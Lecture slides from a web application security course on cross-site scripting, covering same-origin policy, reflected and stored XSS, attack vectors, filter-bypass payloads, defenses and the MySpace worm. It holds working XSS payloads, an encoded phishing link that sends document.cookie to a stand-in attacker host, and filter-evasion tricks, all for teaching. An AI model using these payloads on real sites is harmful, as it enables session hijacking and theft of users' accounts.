Cross-Site Scripting (XSS)

Professor Larry Heimann
Web Application Security
Information Systems
Lab 1 Review

• Fastest crackers
  • Logan Watanbe
  • Josh Gerbasi
  • Ryan Kwok
  • Alvin Wang
  • Mike Ferraco

• Key points to remember
  • scan thoroughly -- easy to miss little clues
  • easy to defend against brute force attacks
  • username enumeration can be automated
Browser same origin policy

A key concept applying to client-side web security:

- A web site can cause requests to any other domain, but may not process responses from other domains.
- A web site can load a script from another domain, and execute this within its own context.
- A web site cannot read or modify cookies or DOM data belonging to another domain.

Most attacks against other users involve performing some kind of breach of the same origin policy
Examples of same origin (or not)

• Examples that follow same origin policy:
  - http://www.example-site.org/here
  - http://www.example-site.org/there

• Examples that violate same origin policy:
  - http://www.example-site.org/here
  - https://www.example-site.org/there
  - http://www.example-site.org:8080/thar
  - http://www.hacker-home.org/yonder
Allowed interactions under same origin

• hackerhome.org can link to us, can’t control

  <a href="http://www.mywwwservice.com/some_url">Click here!</a>

• Or include a hidden embedded frame:

  <iframe style="display:none" src="http://www.mywwwservice.com/some_url"></iframe>

  • No visible cue to the user  *(note that style attribute hides the iframe)*

  • Happens automatically, without user interaction
Allowed interactions under same origin

- Occasionally, data loaded from one domain is considered to originate from different domain
  
  `<script src="http://www.mywwwservice.com/some_url"></script>`

- `hackerhome` can include this script loaded from our site, but it is considered to originate from `hackerhome` instead

- Same origin policy prevents JavaScript from another source direct access to our DOM

- Included script can inspect contents of enclosing page which can define evaluation environment for script
  
  `<iframe style="display:none" src="http://www.mywwwservice.com/some_url"></iframe>`
Allowed interactions under same origin

• Another way attacker can initiate requests from user’s browsers to our server:

```html
<form name="f" method="POST" action="http://www.mywwwservice.com/action">
    <input type="hidden" name="cmd" value="do_something">
    ...
</form>

<script>document.f.submit();</script>
```

• Form is submitted to our server without any input from user
  • Only has a hidden input field, nothing visible to user
  • Form has a name, so script can access it via DOM and automatically submit it
Basics of XSS

- The Godfather of attacks against other users
- Affects the vast majority of today’s applications
- Two major variations: reflected and stored
- May be very valuable in a phishing attack
- May present a critical threat if you can compromise administrative users
- Should always be viewed in perspective
Basics of XSS

A High Level View of a typical XSS Attack
Reflected XSS example

https://myapp.com/error.php?message=Sorry%2c+an+error+occurred

Value of the “message” parameter is copied into the application’s response
Reflected XSS -- proof of exploit


The “message” parameter now contains HTML markup and causes arbitrary javascript to execute.
Reflected XSS

Performing this simple test serves to verify two important things. First, the contents of the message parameter can be replaced with arbitrary data that gets returned to the browser. Second, whatever processing the server-side application is performing on this data (if any), it is not sufficient to prevent us from supplying JavaScript code that is executed when the page is displayed in the browser.

This type of simple XSS bug accounts for approximately 75% of the XSS vulnerabilities that exist in real-world web applications. It is often referred to as reflected XSS because exploiting the vulnerability involves crafting a request containing embedded JavaScript which is reflected back to any user who makes the request. The attack payload is delivered and executed via a single request and response. For this reason, it is also sometimes referred to as first-order XSS.

Exploiting the Vulnerability

As you will see, XSS vulnerabilities can be exploited in many different ways to attack other users of an application. One of the simplest attacks, and the one that is most commonly envisaged to explain the potential significance of XSS flaws, results in the attacker capturing the session token of an authenticated user. Hijacking the user's session gives the attacker access to all of the data and functionality to which the user is authorized (see Chapter 7).

The steps involved in this attack are illustrated in Figure 12-3.

Figure 12-3: The steps involved in a reflected XSS attack

1. User logs in
2. Attacker feeds crafted URL to user
3. User requests attacker's URL
4. Server responds with attacker's JavaScript
5. Attacker's JavaScript executes in user's browser
6. User's browser sends session token to attacker
7. Attacker hijacks user's session
Another example

From: "WahhApp Customer Services" <customerservices@wahh-app.com>
To: "John Smith"
Subject: Complete our customer survey and receive a $5 credit

Dear Valued Customer,

You have been selected to participate in our customer survey. Please complete our easy 5 question survey, and in return we will credit $5 to your account.

To access the survey, please log in to your account using your usual bookmark, and then click on the following link:

https://wahh-app.com/%65%72%72%6f%72%2e%70%68%70?message%3d%3c%73%63%72ipt>var+i=ne%77+Im%61ge%3b+i.s%72c="ht%74%70%3a%2f%2f%77ahh-att%61%63%6ber.co%6d%2f"%2bdocum%65%6e%74%2e%63ookie;/%73%63ript%3e

Many thanks and kind regards,

Wahh-App Customer Services
Stored XSS

- Data submitted by one user is stored within the application and displayed to other users at a future point

- *Common examples*: blog comments, auction questions, social networking messages, site feedback, etc.

- Attacker can place script into data that gets displayed to other users

- Avoids need for independent delivery mechanism (email, etc.)

- Frequently, victims are guaranteed to be logged in at the time of the attack – attacker can hijack their session, etc.

- Often easily wormable

- XSS can be a misnomer, as there may not be a cross-site element
Stored XSS

Attacks against stored XSS vulnerabilities typically involve at least two requests to the application. In the first, the attacker posts some crafted data containing malicious code that gets stored by the application. In the second, a victim views some page containing the attacker's data, at which point the malicious code is executed. For this reason, the vulnerability is also sometimes referred to as *second-order cross-site scripting*. (In this instance, “XSS” is really a misnomer, as there is no cross-site element to the attack. The name is widely used, however, so we will retain it here.)

Figure 12-4 illustrates how an attacker can exploit a stored XSS vulnerability to perform the same session hijacking attack as was described for reflected XSS.

There are two important differences in the attack process between reflected and stored XSS, which make the latter generally more serious from a security perspective.
Common XSS attack vectors

<SCRIPT>
The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to your page in the following forms:

External script:
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>

Embedded script:
<SCRIPT> alert("XSS"); </SCRIPT>

<BODY>
The <BODY> tag can contain an embedded script by using the ONLOAD event, as shown below:

<BODY ONLOAD=alert("XSS")>

The BACKGROUND attribute can be similarly exploited:
<BODY BACKGROUND="javascript:alert('XSS')">
Common XSS attack vectors

<IMG>
Some browsers will execute a script when found in the <IMG> tag as shown here:
<IMG SRC="javascript:alert('XSS');">

There are some variations of this that work in some browsers:
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">

<IFRAME>
The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.
<IFRAME SRC="http://hacker-site.com/xss.html">
Common XSS attack vectors

**<INPUT>**

If the TYPE attribute of the `<INPUT>` tag is set to “IMAGE”, it can be manipulated to embed a script:

```
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
```

**<LINK>**

The `<LINK>` tag, which is often used to link to external style sheets could contain a script:

```
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
```

**<OBJECT>**

The `<OBJECT>` tag can be used to pull in a script from an external site in the following way:

```
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
```
Common XSS attack vectors

<TABLE>
The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>
The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));">
Common XSS attack vectors

<EMBED>
If the hacker places a malicious script inside a flash file, it can be injected in the following way:
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">

**NOTE**: These are some of the more common XSS attack vectors, but by no means should this list be considered complete. New attack vectors are always being explored by attackers.
Basic XSS Defense: FIEO  \[\text{Filter Input, Escape Output}\]

If it wasn’t abundantly clear already...

**NEVER TRUST USER INPUT!!**

Start by always Filtering Input

- validate for correct data type
- validate for correct format
- validate for appropriate size
- strip inappropriate tags, characters

Finish by always Escaping Output

- escape HTML and script tags
- escape other special characters
Examples of beating filters

• If `<script>` is blocked or filtered

  "<script>alert(document.cookie)</script>
  "<ScRiPt>alert(document.cookie)</ScRiPt>
  "%3cscript%3ealert(document.cookie)%3c/script%3e
  "%253cscript%253ealert(document.cookie)%253c/script%253e
  %00"<script>alert(document.cookie)</script>

• Avoid using `<script>` altogether

  <x style="x:expression(alert(document.cookie))"> [IE]
  <img src="" onerror=alert(document.cookie)> [IE/FF]
  <body onload=alert(document.cookie)> [IE/FF]
Examples of beating filters

- Some filters match pairs of opening and closing angle brackets, extract the contents and then compare this to a blacklist of tag names. You can bypass this filter using superfluous tag brackets:

  \[
  \langle\langle \text{script}>\text{alert(document.cookie);}//\langle\text{script}\rangle\rangle\quad [\text{IE/FF}]
  \]

- If the filter matches any opening and closing brackets and strips or blocks the contents between them, note that you can do many attacks without using opening and closing brackets in that order:

  
  "\langle x \text{ style="x:expression(alert(document.cookie))}\rangle\quad [\text{IE}]

results in:

  
  \[
  \langle\text{input type="text" name="username" value="foo"}\\
  \langle x \text{ style="x:expression(alert(document.cookie))}\rangle
  \]
  \]
Examples of beating filters

- You can beat many pattern-matching filters by inserting unexpected characters into a filtered expression which are tolerated by the browser, for example:

  ```html
  <script/src=...> [IE/FF]
  <script src=...> [IE]
  expr/****/ession [IE]
  <BODY ONLOAD =alert(document.cookie)> [IE/FF]
  ```

- You can beat filters by simply HTML-encoding the script. For example

  ```html
  <img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;...>
  ```

  is just HTML-encoded version of ‘javascript’ that the browser will recognize
Examples of beating filters

• If you are able to execute some JavaScript but certain expressions are blocked, you can build these dynamically:

```javascript
var a = "alert(doc" + "ument.coo" + "kie)"; eval(a); [IE/FF]
var a = "alert(" + String.fromCharCode(100,111,99,117,109,101,
110,116,46,99,111,111,107,105,101) + ")"; eval(a); [IE/FF]
```

• Javascript obfuscators can also be used in some cases
Examples of beating sanitizers

- If the filter removes certain expressions altogether, check whether sanitization is applied recursively:

  `<scr<scri<ipt>`

- Try inserting a NULL byte to stop some filters:

  `%00<script>`

- If single and double quotes are sanitized, you can encapsulate strings using backticks. If whitespace is blocked or causes truncation, you can run quoted tag attributes together:

  `<img src="`onerror=alert(document.cookie)`>`
Circumventing blocks on absolute URLs

• If the application blocks any target that begins with “http://”, try the following:
  HTTP://attacker.com
  %00http://attacker.com
  http://attacker.com [note the leading space]
  //attacker.com
  %68%74%74%70%3a%2f%2fattacker.com
  %2568%2574%2574%2570%253a%252f%252fattacker.com
  https://attacker.com

• If the application removes “http://” and/or any external domain, try:
  http://http://attacker.com
  http://attacker.com

• If the application checks that the input contains an absolute URL to its own domain, try the following bypasses:
  http://myapp.com.attacker.com
  http://attacker.com/%23http://myapp.com
XSS real world example: MySpace

- Stored XSS vulnerability discovered in 2005
- A user called Samy found a method of circumventing anti-XSS filters to place JavaScript into his user profile
- He originally wanted to impress his girlfriend by changing “In a relationship” to “In a hot relationship”
- He then tried to make some new friends ...
- He wrote a script which caused anyone viewing it to add Samy as a friend, and to copy the script into their own profile
- The result was an exponential worm which brought down the MySpace site
MySpace worm in 24 hours

12:34 pm: You have 73 friends.

I decided to release my little popularity program. I'm going to be famous...among my friends.

1:30 am: You have 73 friends and 1 friend request.

One of my friends' girlfriend looks at my profile. She's obviously checking me out. I approve her inadvertent friend request and go to bed grinning.

8:35 am: You have 74 friends and 221 friend requests.

Woah. I did not expect this much. I'm surprised it even worked.. 200 people have been infected in 8 hours. That means I'll have 600 new friends added every day. Woah.

9:30 am: You have 74 friends and 480 friend requests.

Oh wait, it's exponential, isn't it. Sh*t.
6:20 pm: I timidly go to my profile to view the friend requests.

2,503 friends.
917,084 friend requests.
Next Time: XSS Attacks in Practice